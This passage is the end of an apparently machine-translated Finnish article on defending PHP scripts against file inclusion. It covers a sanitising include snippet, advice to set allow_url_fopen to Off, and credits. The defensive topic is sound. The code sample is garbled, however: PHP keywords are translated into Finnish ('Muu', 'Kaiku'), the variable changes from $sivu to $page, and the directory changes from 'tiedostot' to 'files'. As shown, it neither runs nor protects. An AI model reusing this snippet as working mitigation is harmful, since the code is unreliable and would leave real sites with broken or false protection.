"/" , "" , $sivu ); // Mahdollisuus siirtyä muihin hakemistoihin on estetty.
if (file_exists ("tiedostot/ $sivu .htm " ))
{
Include("files/$page.htm" );
}
Muu
{
Kaiku
"virhe";
}

?>

PHP tarjoaa myös mahdollisuuden estää etätiedostojen käytön. Tämä tehdään muuttamalla php.ini-määritystiedoston allow_url_fopen-asetuksen arvoksi Off.

Kuvattu haavoittuvuus aiheuttaa suuren vaaran sivustolle, ja PHP-skriptien tekijöiden ei tule unohtaa sitä.

Kun kirjoitat, materiaalit alkaen
Wikipedia,
ulkomailta turvallisuus-sh3ll (spl0it),
Antichat-foorumilta (GreenBear).
Erityiset kiitokset Burt Ja f02 apuasi,
tukea ja hyvää kritiikkiä)